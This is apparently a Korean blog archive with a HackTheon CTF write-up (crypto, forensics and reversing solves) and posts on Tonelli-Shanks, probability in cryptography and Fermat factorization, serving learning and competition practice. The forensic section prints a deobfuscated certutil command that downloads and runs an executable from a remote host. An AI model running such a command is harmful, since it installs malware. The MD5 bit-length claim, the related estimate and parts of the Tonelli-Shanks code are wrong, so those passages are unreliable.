Archive

후기: https://sean9892.tistory.com/29

8월 11일 오늘, 세종에서 진행된 HackTheon에 KaisTheon 팀으로 참가하여 4등으로 대회를 마무리하였다. Crypto task가 매우 쉬웠기 때문에 Crypto 2문제, Forensic 2문제, Reversing 1문제를 맡아 해결하였다.

CRYPTO1 - 암호의 기초 1

키 길이가 7인 XOR 암호의 주어진 암호문을 복호화하는 문제이다. XOR 암호는 알려진 평문을 통해 키를 확보할 수 있으므로 알려진 flag의 prefix인 apollob를 이용하여 키를 복원한다.

import base64
c = base64.b64decode("FQAWHg8KBg8TCwsTEQtGQVRfEQocWQIWCk5IBwYJCQYMV1UJ")
l=[]
for x,y in zip(b"apollob",c):
    l.append(x^^y)
for _,x in enumerate(c):
    print(chr(x^^l[_%7]),end="")
# apollob{crypto21--rox-rox--crypto21}

CRYPTO2 - 암호의 기초 2

text의 길이를 256로 설정할 때, $n=1$이 되어 각 블럭의 키 공간의 크기가 256으로 줄어든다. 이 점을 이용하여 블럭 별 키를 bruteforce함으로써 원본 key를 복구할 수 있다. 주어진 암호문의 길이는 144인데, 평문의 길이가 같으면 암호문의 길이가 같으므로 1~256 길이의 text를 로컬에서 임의의 키로 암호화하여 암호문의 길이를 보는 과정을 통해 평문의 블럭 수가 5임을 추론할 수 있다. 이를 이용하여 길이 32 단위로 암호문을 끊어주고, 블럭별로 키를 사용하여 복호화하면 flag를 취득할 수 있다.

from minipwn import *
from base64 import b64decode as dec, b64encode as enc

r = remote("apse2021.cstec.kr",5334)
r.recvuntil(b":> ")
r.sendline(b"A"*256)
rcv = eval(r.recvuntil(b"\n").strip().decode()).decode()
c = dec(rcv)

l = [c[i:i+32]for i in range(0,512,32)]

# Key Recovering
from Crypto.Cipher import AES
BS = 16
padd = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode()
keys = []
for x in l[:-1]:
    for i in range(256):
        d = AES.new(padd(chr(i).encode()),AES.MODE_ECB).decrypt(x)
        if d == padd(b"A"*16):
            print(i)
            keys.append(chr(i))
            
cc = dec("Bdpr6Ki/1lQ75/ph4N7MPHKLU8jTZ0w2vWdJy0LJsFkrGO5VMcBPHBaeS9TeNaCqgTOcltg5gXkSLUxmdvjS1DaBiQjxILplmzakD5fYB7j1QOIIjxtC1Jqu5J0dMT4Cl8X0dh08e2Ror2I8xzgzMOehEo0A5UL6LWYiDeWSk8bmtboESx/qqiJDKo8wi77E")
ll=[cc[i:i+32]for i in range(0,144,32)]

# Key Dividing
n=3
rkeys = [key[i * n:(i + 1) * n] for i in range((len(key) + n - 1) // n )] 

for x,y in zip(ll,rkeys):
    print(AES.new(padd(y.encode()),AES.MODE_ECB).decrypt(x))
    
# b'Apollob{2b480551\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
# b'edd7316072a593f7\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
# b'459e4e77e45bc591\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
# b'8f49a229f9673139\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
# b'12f5224f}\x07\x07\x07\x07\x07\x07\x07'
# Apollob{2b480551edd7316072a593f7459e4e77e45bc5918f49a229f967313912f5224f}

FORENSIC1 - 특별한 이벤트

gigasheet 혹은 윈도우 내장의 evtx viewer를 이용하여 기록된 이벤트를 확인하면 EVENTID가 비정상적이라는 사실을 확인할 수 있다. 여기서는 어떠한 정보를 얻을 수 없을 것이므로, 다른 정보를 확인한다.

이때 EVENTRECORDID=832, EVENTRECORDID=833인 두 이벤트의 EVENTDATA/COMMANDLINE 항목을 살펴보면 난독화된 batch command를 확인할 수 있다. 이를 파이썬으로 파싱하여 대입하면 아래의 정보를 확인할 수 있다.

[파싱된 변수의 값 대입 코드의 일부(Python)]

lllllIIllI="0"
IlIllIIIll="1"
lIIIllIlll="2"
lIlIlIIIll="3"
IlllllllII="4"
IlIlIlIIII="5"
llIllIIIlI="6"
lllIIIIIll="7"
lIIlIllIll="8"
IIllllIlll="9"
lllIIlIlII=":"
lllIIlllII=";"
lllIIlllII="="
lllllIlIII="?"

출력으로 다음을 얻는다.

certutil -urlcache -f httplddyou.know.i.don.t.l1k3.m4lw4r3.rea.lyd out.exe 
 out.exe 
 apollob{a95ac71463fc529219a69b0d25cf4a66021d10023f7c8c9fe155334a1a4bb4774bd86b69cf482ddf7272e7669bc9b182e4de0ec0968d418dccce8fbb4dfeaa5dbdd42fab526be0cd357d}

FORENSIC 2 - 숨은 그림 찾기

volatility3를 활용하여 memory 파일에서 프로세스의 목록을 확인한 후 remote desktop과 관련된 프로세스의 dump를 딴 후, GIMP에서 오프셋을 조정하여 이미지를 읽으면 flag를 찾을 수 있다.

vol -f ./CCE_forensic.mem windows.info
vol -f ./CCE_forensic.mem windows.pslist
vol -f ./CCE_forensic.mem windows.memmap --pid 5880 --dump

REVERSING 1 - 세종시에 오신 것을 환영합니다.

주어진 실행파일을 디컴파일하여 코드를 확인하면, 가장 관건이 되는 코드가 ROR, ROL, XOR 연산이 섞여있는 부분의 코드이다. 여기서 XOR은 bitwise operation이며 ROR, ROL의 수가 같으므로 최종적으로 이 복잡한 연산의 input과 output의 XOR값은 input과 무관하게 상수임을 알 수 있다. 따라서 flag를 얻기 위한 output에 input과의 XOR값을 XOR하여 그 output을 생산하는 input을 만들 수 있다.

그러한 input은 아래의 15개 수이다. 각각의 수는 16진법으로 표현하여 작성하였다.

7e81807e0101817e
ff8080ff808080ff
ff08080808088878
3c4242424242423c
81c1a19189858381
38448080808f463a
0810102010101008
8181818199a5c381
ff8080ff808080ff
80808080808080ff
3e4180808080413e
3c4242424242423c
81c3a59981818181
ff8080ff808080ff
1008080408080810

이러한 값을 관찰할 때, 수가 총 15개이고 flag 길이가 15이므로 각 수가 하나의 문자에 대응됨을 추측할 수 있다. 각 수의 각 바이트를 2진법으로 표현하여 각각 그리면 다음과 같이 표현되어 flag를 읽을 수 있다. (X = 1, _ = 0)

_XXXXXX_
X______X
X_______
_XXXXXX_
_______X
_______X
X______X
_XXXXXX_
​
XXXXXXXX
X_______
X_______
XXXXXXXX
X_______
X_______
X_______
XXXXXXXX
​
XXXXXXXX
____X___
____X___
____X___
____X___
____X___
X___X___
_XXXX___
​
__XXXX__
_X____X_
_X____X_
_X____X_
_X____X_
_X____X_
_X____X_
__XXXX__
​
X______X
XX_____X
X_X____X
X__X___X
X___X__X
X____X_X
X_____XX
X______X
​
__XXX___
_X___X__
X_______
X_______
X_______
X___XXXX
_X___XX_
__XXX_X_
​
____X___
___X____
___X____
__X_____
___X____
___X____
___X____
____X___
​
X______X
X______X
X______X
X______X
X__XX__X
X_X__X_X
XX____XX
X______X
​
XXXXXXXX
X_______
X_______
XXXXXXXX
X_______
X_______
X_______
XXXXXXXX
​
X_______
X_______
X_______
X_______
X_______
X_______
X_______
XXXXXXXX
​
__XXXXX_
_X_____X
X_______
X_______
X_______
X_______
_X_____X
__XXXXX_
​
__XXXX__
_X____X_
_X____X_
_X____X_
_X____X_
_X____X_
_X____X_
__XXXX__
​
X______X
XX____XX
X_X__X_X
X__XX__X
X______X
X______X
X______X
X______X
​
XXXXXXXX
X_______
X_______
XXXXXXXX
X_______
X_______
X_______
XXXXXXXX
​
___X____
____X___
____X___
_____X__
____X___
____X___
____X___
___X____

CTF Crypto task를 풀다 보면, 간혹 $m^2 \text{ mod }p$ 값으로부터 $m$의 값을 복원해야 하는 경우가 존재하며, 이때 사용할 수 있는 알고리즘이 Tonelli-Shanks Algorithm이다.

Tonelli-Shanks Algorithm은 $\mathbb{Z}/p\mathbb{Z}$에서 제곱근을 $O(\log^2 p)$에 해결하는 알고리즘으로써, 조금 응용한다면 이차방정식까지도 동일한 시간복잡도에 해결 가능한 알고리즘이다.

주어진 홀수인 소수 $p$와 $n\in\mathbb{Z}/p\mathbb{Z}$에 대해 $x^2\equiv n\text{ }(\text{mod }p)$인 $x$를 출력하는 Tonelli-Shanks Algorithm은 다음과 같은 단계를 거쳐 진행된다.

1. $n^\frac{p-1}{2}\equiv1\text{ }(\text{mod }p)$인지 확인한다. 만약 아니라면 제곱근이 존재하지 않는다.
2. $p-1=Q\cdot2^S$인 홀수 $Q$와 음이 아닌 정수 $S$를 구한다.
3. $i:=2$로 $i$를 초기화한 후 $i^\frac{p-1}{2}\equiv1\text{ }(\text{mod }p)$이 아닐 때까지 $i$를 증가시키는 과정을 반복한다. 종료 시점의 $i$ 값을 $z$라고 정의한다.
4. 다음과 같이 변수에 값을 대입한다.
   $M:= S$
   $c:\equiv z^Q\text{ }(\text{mod }p)$
   $t:\equiv n^Q\text{ }(\text{mod }p)$
   $R:\equiv n^\frac{Q+1}{2}\text{ }(\text{mod }p)$
5. 다음 과정을 반복한다.
   $t=0$이면 $0$을 출력하고 종료한다.
   $t=1$이면 $R$을 출력하고 종료한다.
   $0<i<M$과 $t^{2^i}\equiv1\text{ }(\text{mod }p)$를 만족하는 최소의 자연수 $i$를 찾는다.
   $b:\equiv c^{2^{M-i-1}}\text{ }(\text{mod }p)$
   $M:=i$
   $c:\equiv b^2\text{ }(\text{mod }p)$
   $t:\equiv tb^2\text{ }(\text{mod }p)$
   $R:\equiv Rb\text{ }(\text{mod }p)$

Tonelli-Shanks 알고리즘의 정당성 증명

알고리즘의 정당성 증명은 다음과 같이 기술할 수 있다.

우선 다음의 두 명제를 확인하자.

Claim 1.

• $\text{mod }p$에서 0이 아닌 quadratic residue는 정확히 $\frac{p-1}{2}$개 존재한다.

$1\le k\le\frac{p-1}{2}$일 때 $k^2\equiv (p-k)^2\text{ }(\text{mod }p)$이다. 따라서 0이 아닌 quadratic residue는 최대 $\frac{p-1}{2}$개 존재한다.

$1\le a<b\le\frac{p-1}{2}$인 두 정수 $a,b$를 생각해보자. $b^2-a^2\equiv (a+b)(a-b)\text{ }(\text{mod }p)$이고, $2\le a+b\le p-1$, $a\neq b$이므로 $b^2-a^2\not\equiv0\text{ }(\text{mod }p)$이다.

따라서 $1,2,3,...,\frac{p-1}{2}$는 제곱하였을 때 서로 다른 값을 가지므로 정확히 $\frac{p-1}{2}$개의 0이 아닌 quadratic residue가 존재한다.

Claim 2.

• '$n$이 $\text{mod }p$에서 quadratic residue이다'와 $n^\frac{p-1}{2}\equiv1\text{ }(\text{mod }p)$는 동치이다.

$n$이 $\text{mod }p$에서 quadratic residue인 것과 $x^2\equiv n\text{ }(\text{mod }p)$인 $x$가 존재하는 것은 동치이다.

이는 페르마 소정리에 의해 $n^\frac{p-1}{2}\equiv(x^2)^\frac{p-1}{2}\equiv x^{p-1}\equiv1\text{ }(\text{mod }p)$과 동치이다.

변수들의 초기값을 다시 기술하면 다음과 같다.

• $M=S$
• $c\equiv z^Q\text{ }(\text{mod }p)$
• $t\equiv n^Q\text{ }(\text{mod }p)$
• $R\equiv n^\frac{Q+1}{2}\text{ }(\text{mod }p)$

상기된 초기값에 관해 다음과 같은 사실을 알 수 있다.

• $z$는 quadratic non-residue이므로 $c^{2^{M-1}}\equiv z^{Q\cdot2^{S-1}}\equiv z^\frac{p-1}{2}\equiv -1\text{ }(\text{mod }p)$이 성립한다.
• $n$은 quadratic residue이므로 $t^{2^{M-1}}\equiv n^{Q\cdot2^{S-1}}\equiv n^\frac{p-1}{2}\equiv 1\text{ }(\text{mod }p)$이 성립한다.
• $R^2\equiv n^{Q+1}\equiv nt\text{ }(\text{mod }p)$이다.

한 번의 반복에서 $M,c,t,R$에 새로이 대입되는 값 $M^\prime,c^\prime,t^\prime,R^\prime$는 다음과 같이 정의됨을 기억하자.

• $b\equiv c^{2^{M-i-1}}\text{ }(\text{mod }p)$
• $M^\prime$은 $0<M^\prime<M$과 $t^{2^{M^\prime}}\equiv1\text{ }(\text{mod }p)$를 만족하는 최소의 자연수
• $c^\prime\equiv b^2\text{ }(\text{mod }p)$
• $t^\prime\equiv tb^2\text{ }(\text{mod }p)$
• $R^\prime\equiv Rb\text{ }(\text{mod }p)$

이러한 정의에 따라 변화한 값에 대해서도 초기값에서와 동일한 성질들이 몇가지 성립함을 확인할 수 있다.

• ${c^\prime}^{2^{M^\prime-1}}\equiv b^{2^i}\equiv c^{2^{M-1}}\equiv -1 \text{ }(\text{mod }p)$
• ${t^\prime}^{2^{M^\prime-1}}\equiv t^{2^{M^\prime-1}}b^{2^{M^\prime}}\equiv(-1)\times(-1)\equiv1\text{ }(\text{mod }p)$
• ${R^\prime}^2\equiv R^2b^2 \equiv ntb^2 \equiv nt^\prime\text{ }(\text{mod }p)$

이때 $t^{2^{M-1}}\equiv 1\text{ }(\text{mod }p)$이므로 $0<M^\prime<M$인 $M^\prime$은 항상 존재하며 $M$의 값이 항상 감소한다. 이러한 반복 과정에서 $M=1$이 되는 순간 $1\equiv t^{2^{M-1}}\equiv t^1 \text{ }(\text{mod }p)$이므로 $t\equiv1\text{ }(\text{mod }p)$이며, $R^2\equiv nt\equiv n\text{ }(\text{mod }p)$이므로 $R$은 $x^2\equiv n\text{ }(\text{mod }p)$의 해가 된다.

Tonelli-Shanks 알고리즘의 시간복잡도 증명

위에서 기술한 알고리즘의 동작 과정 중 1., 2., 4.는 거듭제곱 연산과 대입 연산만으로 구성되므로 분할정복을 이용한 거듭제곱을 사용하면 $O(\log p)$에 수행 가능함을 알 수 있다.

3.의 경우 가장 작은 quadratic non-residue $x$에 대해 $O(x)$의 시간에 수행되는데, Claim 2에서 증명하였듯 어떤 residue가 quadratic non-residue일 확률은 50%이므로 평균 2회의 반복으로 quadratic non-residue를 찾을 수 있다. 최악의 경우에도 $\sqrt{p}$ 이하의 quadratic non-residue가 존재함이 보장된다. 본 글에서 다루기에는 다소 글이 난잡해지므로 생략한다. (증명)

5.에서 $i$를 찾는 과정은 $O(M)$의 시간을 소요하며 $M=O(\log p)$이므로 이 과정은 $O(\log p)$의 시간 내에 종결된다. 이외의 과정 역시 $O(\log p)$에 종료됨을 간단히 확인할 수 있으며, 이러한 과정이 최대 $O(\log p)$번 반복되므로 $O(\log^2 p)$의 시간에 종결됨을 알 수 있다.

따라서 3.의 소요 시간을 평균적인 상수 시간으로 가정한다면 $O(\log p+1+\log^2 p)=O(\log^2 p)$의 시간에 Tonelli-Shanks 알고리즘이 종료됨을 알 수 있다.

Tonelli-Shanks 알고리즘의 구현

CTF 암호학에서 자주 사용되는 언어는 SageMath, Python이다. SageMath에서는 sage.rings.finite_rings.integer_mod의 square_root_mod_prime을 통해 간단하게 Tonelli-Shanks 알고리즘을 사용할 수 있으며, square_root_mod_prime_power와 같은 확장 또한 사용 가능하다. 따라서 개인적으로 SageMath를 이용하길 권장하나, 그렇지 못하는 경우를 위해 Python에서 Tonelli-Shanks를 구현하는 코드를 간단하게 소개한다.

def tonelli_shanks(n,p):
    def isQR(x,p):# check whether x is quadratic residue
        return pow(x,(p-1)//2,p)==1
    # (1.)
    if not isQR(n,p):
        return -1

    # (2.)
    Q,S=p-1,0
    while Q%2==0:
        S+=1
        Q//=2

    # (3.)
    z=None
    for x in range(2,p):
        if not isQR(x,p):
            z=x
            break
    # (4.)
    M,c,t,R=S,pow(z,Q,p),pow(n,Q,p),pow(n,(Q+1)//2,p)

    # (5.)
    while True:
        if t==0:
            return 0
        elif t==1:
            return R
        k=t*t%p
        ii=None
        for i in range(1,M):
            if k==1:
                ii=i
                break
            k*=k
            k%=p
        b=pow(c,2**(M-i-1),p)%p
        M=ii%p
        c=b*b%p
        t=t*c%p
        R=R*b%p

# test
if __name__=='__main__':
    n,p=map(int,input().split())
    print("STARTED")
    print(tonelli_shanks(n,p))

이번 포스트는 암호학을 배우면서 간단하게 접한 확률에 관한 몇 가지 지식을 소개하고자 한다.

1. Birthday Paradox

Birthday Paradox, 즉 생일의 역설은 이후 소개드릴 내용에 비해 잘 알려져 있는 사실이다. 이는 "23명이 모여있으면 그 중 생일이 같은 두 사람이 존재할 확률이 약 50%이다"라는 내용으로 흔히 소개되어 처음 접하면 "생각보다 많이 적네?" 싶은, 조금은 신기한 사실이다.

CTF에서는 몇 가지의 분류가 존재하는 값을 출력하는 확률적 알고리즘에 대해 같은 분류에 속하는 두 가지 출력을 얻고자 할 때 종종 사용된다. md5 해시의 값을 정수로 바꾸어 65537로 나눈 나머지가 같은 두 원본 텍스트 쌍을 찾는 경우 같은 예시가 존재한다.

물론 확률에 기반한 시행이므로 평균적으로 빨리 시행됨을 알려주는 것이므로 시행 시간에는 편차가 존재할 수 있다.

• Recommend to read : 위키백과 - 생일 공격

2. Frequency of Prime number

$x$ 이하의 소수의 개수를 의미하는 소수 계량 함수 $\pi(x)$에 대해 $\displaystyle\lim_{x\rightarrow\infty} \frac{\pi(x)}{x/\ln x}=1$이 성립한다.

이는 Big-Theta notation의 정의 $f(x)\in \Theta(g(x)) \Leftrightarrow 0<\displaystyle\lim_{x\rightarrow\infty} \frac{f(x)}{g(x)}<\infty$에 따라 $\pi(x)\in \Theta(x/\ln x)$라는 의미이기도 하며, $x$ 이하의 수를 랜덤하게 골랐을 때 그 수가 소수일 확률이 $\frac{\pi(x)}{x}\approx\frac{x/\ln x}{x}=\frac{1}{\ln x}$임을 의미하기도 한다.

CTF에서는 $n$-bit 정수를 랜덤하게 뽑을 때 소수일 확률이 $1/n$이며, 따라서 uniform하거나 그렇다고 추정되는 $n$-bit number generator을 반복 실행하여 소수를 얻을 실행 횟수의 기댓값이 $n$임을 알려주어 brute force 풀이의 근거가 된다.

대표적인 사용 예시로는 소수인 MD5 해시값을 찾는 경우가 있다. MD5는 32byte=256bit를 출력하는 해시 알고리즘이므로 평균적으로 $\ln{255}\approx177$개의 해시값을 구하면 소수인 MD5 해시값을 얻을 수 있다.

• Recommend to read : 위키백과 - 소수 계량 함수

3. Probablity of $\gcd(n,m)=1$

임의의 두 자연수 $n,m$에 대해 두 수가 서로소일 확률을 $P$라고 하자. 임의의 두 자연수의 최대공약수가 $d$일 확률을 $P(d)$라고 하자. 이때, 임의의 두 자연수는 자연수인 최대공약수를 가지므로 $\displaystyle\sum_{d=1}^{\infty} P(d) = 1$이 성립한다.

또한 어떤 두 자연수 $n,m$의 최대공약수가 $d$라 하면 $gcd(n/d,m/d)=1$이다. 바꿔말하자면 두 서로소인 자연수 $a,b$를 이용하여 $da,db$라는 최대공약수가 $d$인 두 자연수 쌍을 만들 수 있다. 임의의 자연수를 고를 때 $d$의 배수일 확률은 $1/d$이므로 $P(d)=P\times(1/d)\times(1/d)=P/d^2$이다.

즉, $\displaystyle\sum_{d=1}^{\infty} P(d) = \sum_{d=1}^{\infty} P/d^2 = P\times\sum_{d=1}^{\infty} 1/d^2 = \frac{\pi^2}{6}P = 1$이다. 따라서 $P=\displaystyle\frac{6}{\pi^2}$이다.

페르마 인수분해는 홀수 $N$에 대해 $\sqrt{N}$에 근접한 두 인수가 존재할 때, 해당 두 인수를 빠르게 찾을 수 있는 방법이다. 실제 암호 분석에는 그 실용성이 떨어져 이용되기 어려우나, CTF에 한정하여서는 잘 알려져 있으며 종종 출제되는 기술이다.

CTF에서는 일반적으로 RSA의 공개키 $N=pq$에서 $p$와 $q$가 유사한 상황에 자주 사용되어 소인수분해로 사용하나, 실은 하나의 인수 쌍을 찾는 기술이므로 인수분해라 표현하는 것이 조금 더 정확할 것이다.

페르마 인수분해의 기본적인 아이디어는 다음과 같은, 여러분이 중학교 때 합차 공식이라는 이름으로 들어보았을 공식이다.

$$(a+b)(a-b)=a^2-b^2$$

좌변의 곱 꼴이 페르마 인수분해의 핵심이다. 좌변의 $a+b$, 그리고 $a-b$에 각각의 인수가 대응되게 하는 $a,b$를 찾으면 해당 수를 인수분해 했다고 할 수 있을 것이다.

어떤 홀수 $N$가 두 홀수 $x,y(x<y)$의 곱으로 표현된다고 생각해보자. 즉, $N=xy$이다. 이때, 다음의 식 전개를 살펴보자.

$$\begin{align}N&=xy&\\&=(\frac{x+y}{2}-\frac{y-x}{2})(\frac{x+y}{2}+\frac{y-x}{2})&\end{align}$$

$s=\frac{x+y}{2},d=\frac{y-x}{2}$라 하면 $N=(s+d)(s-d)=s^2-d^2$, 즉 $s^2-N=d^2$이다.

따라서 $N$ 이상인 제곱수 $s^2$에 대하여 $s$를 $\left\lceil\sqrt{N}\right\rceil$부터 시작하여 1씩 증가시키며 $N$을 빼고, 그 값이 제곱수가 된다면 $s$와 $d$의 값을 찾을 수 있으며 $s-d$와 $s+d$가 $N$의 인수가 된다는 사실을 알 수 있다.

요약하자면 다음 pseudo code를 산출할 수 있다.

위 알고리즘의 시간복잡도를 계산해보자. $s^2-N$이 $d^2$에 도달해야 하므로, $d^2$을 $N$ 근처에서의 제곱수 간 평균 간격으로 나누면 대략적인 반복문의 반복 횟수를 추정할 수 있다. $(N+1)^2-N^2=2N+1=\Theta(N)$은 익히 알려진 사실이므로, Fermat Factorization의 시간 복잡도는 Fermat Factorization을 통해 $N=xy$임을 찾을 때 $\frac{|y-x|^2}{\Theta(N)}=\Theta(\frac{|y-x|^2}{N})$임을 알 수 있다.

조금 응용을 해보자면, Fermat Factorization을 이용해 크기 비율을 대략적인 정수비로 아는 두 인수가 존재할 때, 그러한 두 인수를 찾을 수 있다. 만약 두 인수 $x,y$의 정수비에 가까운 정수비가 $a:b$라고 하면, $bx\approx ay$일 것이고, $N=xy$를 변형하여 $abN=abxy=(bx)(ay)$ 꼴로 고칠 수 있기 때문이다. 따라서 $abN$을 Fermat Factorization하고 구해진 두 인수를 $a, b$로 나눠보는 간단한 과정을 통해 $N$의 인수를 알 수 있다.